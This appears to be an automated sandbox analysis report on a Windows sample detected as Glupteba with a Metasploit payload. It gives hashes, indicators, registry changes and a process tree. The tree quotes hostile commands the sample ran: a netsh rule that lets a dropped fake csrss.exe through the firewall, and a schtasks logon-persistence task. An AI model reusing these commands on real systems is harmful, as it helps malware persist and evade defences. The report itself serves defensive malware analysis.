Analysis
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max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
14-09-2024 06:20
Static task
static1
Behavioral task
behavioral1
Sample
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe
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Size
3.9MB
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MD5
dfa4c39d87dbd15f1a8f3411d6eb6b36
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SHA1
3c9adacbeee00a1a0bf135add8934c589b103f80
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SHA256
3b6b88af6f799c7f6dfca0064f850a139ea22e77d23adb971a82238b05c9b4dd
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SHA512
fbaf7a7dd06e8c25ceb1c72281d9239e910260f4d392f2beb266988063dd3f50580ba0c891ea3ae08f647e5cc7e34c6355b62249bb92b520a0d177da12347dc0
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SSDEEP
49152:jjMzN+D8Pcqfiui7He+iCQQzJz1d0CxT3IEOzy8t5pzl1hutl5LAKaipofmj2zpP:jKN+92iuGiCQSz1JJ37GyOol3pxYpbP
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 20 IoCs
Processes:
resource yara_rule behavioral2/memory/5104-2-0x0000000002D50000-0x0000000003554000-memory.dmp family_glupteba behavioral2/memory/5104-3-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/5104-6-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/5104-8-0x0000000002D50000-0x0000000003554000-memory.dmp family_glupteba behavioral2/memory/5104-7-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/464-9-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/464-16-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-20-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-21-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-23-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-24-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-25-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-26-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-27-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-28-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-29-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-30-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-31-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-32-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba behavioral2/memory/4020-33-0x0000000000400000-0x0000000000C26000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Modifies Windows Firewall 2 TTPs 1 IoCs
Processes:
netsh.exepid process 3300 netsh.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 4020 csrss.exe 3860 patch.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HiddenShape = "\"C:\\Windows\\rss\\csrss.exe\"" dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 1532 bcdedit.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe -
Drops file in Windows directory 2 IoCs
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exedescription ioc process File opened for modification C:\Windows\rss dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe File created C:\Windows\rss\csrss.exe dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe -
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
Processes:
netsh.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.execsrss.exedfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csrss.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe -
Processes:
csrss.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 csrss.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2544 schtasks.exe 3256 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exedfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.execsrss.exepid process 5104 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe 5104 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe 4020 csrss.exe 4020 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.execsrss.exedescription pid process Token: SeDebugPrivilege 5104 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe Token: SeImpersonatePrivilege 5104 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe Token: SeSystemEnvironmentPrivilege 4020 csrss.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.execmd.execsrss.exedescription pid process target process PID 464 wrote to memory of 1112 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe cmd.exe PID 464 wrote to memory of 1112 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe cmd.exe PID 1112 wrote to memory of 3300 1112 cmd.exe netsh.exe PID 1112 wrote to memory of 3300 1112 cmd.exe netsh.exe PID 464 wrote to memory of 4020 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe csrss.exe PID 464 wrote to memory of 4020 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe csrss.exe PID 464 wrote to memory of 4020 464 dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe csrss.exe PID 4020 wrote to memory of 1532 4020 csrss.exe bcdedit.exe PID 4020 wrote to memory of 1532 4020 csrss.exe bcdedit.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104 -
C:\Users\Admin\AppData\Local\Temp\dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\dfa4c39d87dbd15f1a8f3411d6eb6b36_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3300
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:2544
